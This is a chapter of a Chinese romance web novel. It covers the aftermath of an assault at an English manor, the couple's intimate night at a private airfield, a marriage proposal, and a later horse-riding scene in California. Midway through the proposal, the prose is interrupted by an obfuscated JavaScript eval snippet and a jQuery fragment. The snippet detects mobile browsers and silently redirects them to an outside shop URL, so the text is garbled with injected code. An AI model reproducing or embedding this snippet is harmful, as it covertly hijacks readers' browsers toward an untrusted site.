亚瑟的手心一下出了汗。
他当然明白在自己的庄园里让客人出事意味着什么。可直到这一刻，他才彻底清楚，这已经不是一场可以靠赔礼和律师团压下去的麻烦。Nolan Li从不轻易把私人生活带进自己的圈子，今天却把戒指都带来了。
格兰特挑上的，是他最不能碰的人。
老管家这时匆匆赶来，说下午有人从旧马厩取走过猎具室的钥匙，是格兰特身边的亲信拿的。跟在身后的管家服务部的负责人则想起，有个工作人员傍晚确实替人传过一条消息，以为只是客人之间临时的口信。
亚瑟没有再耽搁，带着黎廷和安保主管往西侧走。
旧马厩的灯只亮了两盏。走到猎具室外时，里面传来一声闷响，像有人撞翻了木椅。黎廷的脚步终于停了一下。
亚瑟拿钥匙开门，手指抖得几乎插不进去。
门被推开的那一刻，屋里所有人都下意识回头。
地上躺着两个人，一个捂着腹部，一个握着手腕。格兰特靠在壁炉边，左臂软塌塌地垂着，脸白得像纸。剩下一名保镖站在门侧，没敢再贸然上前。
纪灵背靠着墙，右手缠着一截被血浸透的衬衫布料，另一只手还攥着那根旧马鞭。他的衣领被扯坏了，肩侧露出一片凌乱的皮肤，脸上仍是一副桀骜的样子。听见开门声，他先看见黎廷，握着马鞭的手才松了一点。
“怎么才来。”他开口时嗓子有些哑，带着一点不着调的劲儿，“你们这晚宴开得够久的。”
黎廷站在门口，目光落到纪灵右手的血上，停了很久。
“阿灵。”
只有两个字，声音低得几乎听不见。纪灵脸上的笑意淡了一瞬，下意识把伤手往身后藏。
黎廷走过去，先把他手里的马鞭拿下来，随手丢到一旁，再扣住他左手手腕，把人从墙边带出来。纪灵本来想说自己没事，黎廷已经低头拆开他手上那团布。伤口不算深，指甲边缘却一直在渗血，染得整只手都不太好看。
“还有哪里伤了？”
“没有。”纪灵顿了顿，见他仍不抬头，又补了一句，“别看了，他们没占着便宜。”
黎廷替他重新压住伤口，动作轻柔，过了片刻，他才说：“我知道。”
纪灵看着他侧脸，没再逞强。
亚瑟站在一旁，喉咙发紧地开口：“Nolan，这件事是我的责任。庄园有医生，在主楼那边，霍尔登和他的人我会立刻交给警方……”
“叫医生去停机坪。”黎廷没有抬头，“让我的飞机提前起飞。”
亚瑟一怔：“你今晚就走？”
“现在。”
格兰特忍着疼，脸色难看地说了句什么，大意是这只是误会，没人想要把事情闹大。黎廷终于抬眼看向他，那一眼依旧不重，甚至带着一点近乎温和的冷静。
“霍尔登先生，你把人骗到这里，毁了他的手机，关上门，又让三个人堵住出口。监控、钥匙、传话的人现场都在。你可以想好，法庭上该先向谁解释。”
格兰特的脸色惨白。
黎廷不再理他，转过头对亚瑟说：“今晚这里的原始监控、所有进出记录和在场人员名单，麻烦你一份不少地交给我的律师。你当然可以优先安置你的客人，但在这之前，谁都不能离开庄园。”
亚瑟连忙点头。
“至于你，”黎廷看着他，“庄园是你的，钥匙和人也是你的，后果该怎么承担，你自己想清楚。”
他说完便不再看任何人，脱下西装外套披到纪灵肩上，带着人往外走。
纪灵右手不便用力，只得用左手拢住外套。走出旧马厩后，夜风一吹，他才后知后觉地觉得手指发凉。黎廷没有问他还能不能走，只把步子放慢了一点，让他跟得上。
到车边时，纪灵忽然说：“我本来想先出来再告诉你。”
黎廷替他拉开车门，动作停了一下。
“为什么？”
“这事传出去，听着像你带我出来惹了麻烦。”纪灵低头看了眼自己沾血的手，语气还算轻松，“我又不是处理不了，就是他们人多，门也结实，耽误了点时间。”
黎廷看了他一会儿，抬手碰了碰他额角，那里被风吹得有点凉。
“阿灵，”他说，“你不是麻烦。”
纪灵没立刻回答。黎廷替他系好安全带，关上车门，绕到另一侧上车。车离开庄园时，主楼灯火通明，晚宴始终没有开场。
——
私人停机坪离庄园不远。
亚瑟安排的医生已经等在那里，带着一只简洁的医疗箱。纪灵被按在贵宾休息室的沙发上处理伤口，脸上没什么表情，只在消毒液碰到指甲边缘时皱了一下眉。
医生见他右手仍然出血不止，问他以前是不是有凝血方面的问题。纪灵还没开口，黎廷先答了句：“有一点，需要观察。”
医生没再多问，替纪灵止血、包扎，又确认没有伤到骨头。纪灵被折腾得有点烦，等医生终于收拾完东西，第一句话就是：“说了没事。”
黎廷坐在他对面，袖口还沾着刚才替他按伤口时蹭上的一点血。
“医生说你需要观察。”
“医生看谁都需要观察。”纪灵靠回沙发里，抬起包好的手看了看，忽然又笑，“这回手指伤了，明天骑不了马，你那条日出路线算白准备了。”
黎廷沉默了一会儿，只说：“不骑了。”
纪灵本来还想继续逗他，抬眼却看见他坐在那里，领带仍是下午被自己扯松的样子，指节压在膝上，安静得过分。
他忽然就不想再说那些没心没肺的话了。
外面有人敲门，告诉黎廷飞机还需要一小时四十分钟完成最后的航线申请。黎廷起身去接电话，连着处理了几件事：落地后的医疗团队、律师、证据保全、亚瑟那边送来的监控备份。
纪灵坐在沙发上看着他，等那通电话终于结束，才抬起完好的左手朝他勾了勾。
“过来。”
黎廷站在原地没动。
纪灵看他一眼，嗤笑一声：“你站那么远，是打算跟我开会？”
黎廷这才走过去，在他面前停下。纪灵没给他再开口的机会，左手拽住他松开的领带，把人往下拉了一点。黎廷顺着他的力道俯身，呼吸刚落下来，纪灵就吻了上去。
这个吻起初很轻，像是试探。纪灵的唇有点凉，碰到他时却没有半点犹豫。黎廷的手悬在他腰侧，迟迟没有落下，像是怕碰到哪里会让他不舒服。
纪灵亲了一会儿，退开半寸，看着他说：“你到底怎么了？我没被吓着，也没被谁碰到，你要是不信，自己检查。”
黎廷的喉结动了一下。
“我没有不信。”
“那你从进门到现在，脸色比庄园里那帮人都难看。”纪灵用左手碰了碰他的脸，“黎廷，我都出来了。”
黎廷看着他。休息室里很安静，窗外的跑道灯一盏一盏亮着，隔着玻璃，夜色像一块沉下来的深蓝色幕布。
过了很久，黎廷才伸手抱住他。他抱得很小心，一只手停在纪灵后背，另一只手避开包扎好的右手，落在他腰间。纪灵闻到他身上熟悉的雪松味，抬头又亲了他一下。这次黎廷终于回应，先是克制地碰了碰他的唇，随后才慢慢加深。
和平时不一样。
黎廷平日里并不总让着他。纪灵招惹得过了，黎廷也会扣住他的腰，把他那些不讲理的劲儿一点一点磨回去。两个人骨子里谁都不是好脾气，亲近的时候更谈不上这么温吞。可这一晚，黎廷从头到尾都温柔得过分，像连呼吸都在问他可不可以。
纪灵被他吻得有些发热，左手揪住他衬衫前襟，把人往自己这边带。他不喜欢这种过分小心的感觉，像自己真的成了碰不得的瓷器，于是干脆把黎廷的手按在自己后颈上。
“你别光会抱。”他说，“我又没断。”
黎廷眼底压着很深的情愫，最后却只是用拇指轻轻蹭过他的耳后。
“疼不疼？”
纪灵被他问得没脾气，笑出声：“不疼，你再问下去，医生该以为我脑袋也伤了。”
黎廷低头吻他耳侧，再沿着下颌一点点亲到被扯乱的衣领边。纪灵的呼吸慢慢乱了，想抬右手去碰他，又被黎廷先一步托住腕骨，避开伤处放回软垫上。
地上散落着二人的衣服、领带，黎廷抱着人进了里面那间临时休息室。
……
纪灵中途睁开眼，看见黎廷额发有些乱，眼里却仍然清明得过分。他忽然抬起左手，碰了碰黎廷的脸。
“黎廷。”
“嗯。”
“别忍着。”
黎廷喘息着看他，低头亲了亲他的掌心。
“我没有忍。”
他只是对他好得没有边界。
许久，纪灵终于在那片炽热的怀抱里放松下来。黎廷替他拉好薄毯，又拿温水喂他喝了几口。纪灵半靠在他肩上，过了会儿才慢吞吞地说：“你今天这样，搞得我有点不习惯。”
“哪里不习惯？”
“平时你可没这么好说话。”纪灵闭着眼笑，“我让你慢一点，你都不一定听。”
黎廷把杯子放到一边，低头看他：“以后也可以听。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17954638|213579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纪灵睁开眼，懒洋洋地抬手摸他的后颈，声音还带着事后的沙：
“那好，我的戒指呢？你不会真的只带我来骑马的吧。”
黎廷沉默了片刻，起身从放在椅背上的西装内袋里取出一只黑色丝绒小盒。他没有绕弯子，也没有再找一个更漂亮的时机，回到床边，单膝跪了下去。
暖光映在他侧脸上，把那双一向清淡的眼睛染得又深又亮。他打开盒子，里面是一枚铂金细戒，戒圈的内侧交织着两个字母，中间还刻了很细的一行字。
纪灵披着薄毯缓缓坐起来。他额发还有点乱，锁骨上挂着吻痕，包着纱布的手指搭在膝上，整个人被弄得又软又润。看见黎廷跪了，他先是一愣，随即眼睛弯起来，痞气却温柔：
“还真带了。”
“日出的东边山坡，我本来打算在那里。”黎廷声音很轻，“现在这里也行，只要你在。”
他握住纪灵没受伤的那只手，指腹摩过指根。
“纪灵，跟我结婚。”就这样一句话，直白沉稳，带着一点不易察觉的紧张。
窗外的跑道灯一直亮到夜色尽头，远处隐约能听见飞机引擎低沉的声音。纪灵看着他，忽然俯身，用鼻尖碰了碰他的鼻尖。
“行啊，”他说得轻巧，耳尖却红透了，“给你未来老公戴上吧！”
黎廷把戒指推入他指根，尺寸刚好。金属凉了一瞬，很快被体温捂热。纪灵晃了晃手指，暖光在戒面上闪烁。
“挺好看。”他评价完，又抬起手看了两眼，指腹轻轻转过戒圈，摸到里面那行刻字。他没念出来，问了句：
“刻的什么？”
“明天。”
纪灵怔了一下，随即明白过来。
Morrow。
他低头笑了，伸手把黎廷拉起来，在他唇上亲了一下。
“好会。”纪灵说，“等我手好了，你得把明天那趟骑马补给我。”
黎廷握住他的手背，在戒指上落下一个很轻的吻，把他连人带毯子一起捞进怀里。
“好。”
——
落地加州已是第二天午后。
艾瑞克在停机坪等着，看见纪灵手上的戒指，眉毛跳了一下，对黎廷说：
“Nolan，恭喜。另外，庄园那边的人已经在切割那位先生了，Xu问你要是还想加码……”
“不必。”黎廷揽着纪灵下舷梯，语气恢复了惯常的清冷，“让律师去对接。”
纪灵戴着墨镜，伤指重新包过，另一只手的戒指在阳光下白得晃眼。他打了个哈欠，对艾瑞克扬了扬下巴：
“下次你们欧洲朋友局，先筛人，我英文不好，下手没个轻重。”
艾瑞克有点抱歉：“……下次不会有这种局。”
“最好。”
车里，纪灵靠着黎廷肩膀快要睡着，忽然又睁开眼，小声说：
“对了，马我还想骑。”
黎廷撩开他的额发，眼底终于彻底软下来。
“回家附近有马场，我教你。”
一个月后，纪灵右手上的伤已经好得差不多，只留下指甲边缘一点很浅的痕。
黎廷带他去了加州北边一座私人马场。这里没有英格兰庄园那样旧派的石墙和猎具室，马场外是一片开阔的金色草坡，远处能看见低矮山脊。黎廷已经买下Morrow并提前运来了这里。纪灵戴着手套拍拍马背，左手无名指上的戒指被遮在里面，只有握缰时偶尔露出浅浅的痕迹。
黎廷仍旧站在围栏边看着他。
纪灵这回已经不需要人牵马了。他带着Morrow缓慢起步，绕过场地一圈后，在第一道矮栏前收住节奏。马耳朵动了动，下一刻便轻巧地越了过去。
落地相当稳。
纪灵回身勒住马，隔着一段距离朝黎廷抬了抬下巴。
“黎董！”他扬声问，“家属的课有没有优惠？”
黎廷站在原地，日光落在镜片上，让人看不清他的眼神。
“没有。”
纪灵啧了一声，骑着马慢慢回来。到了围栏边，他没有用上马台，翻身落地时，黎廷已经伸手托住他的腰。
纪灵故意没立刻站稳，半个身子都压在他怀里，低头看他：“那我亏了。”
黎廷扶着他，等他踩实草地，才平静地说：“我教到你不想学为止。”
纪灵看了他一会儿，忽然笑了。
“那还早。”
风从草坡上吹下来，Morrow低头蹭了蹭围栏。纪灵的左手还搭在黎廷肩上，戒指碰到他衬衫领口，发出极轻的一声响。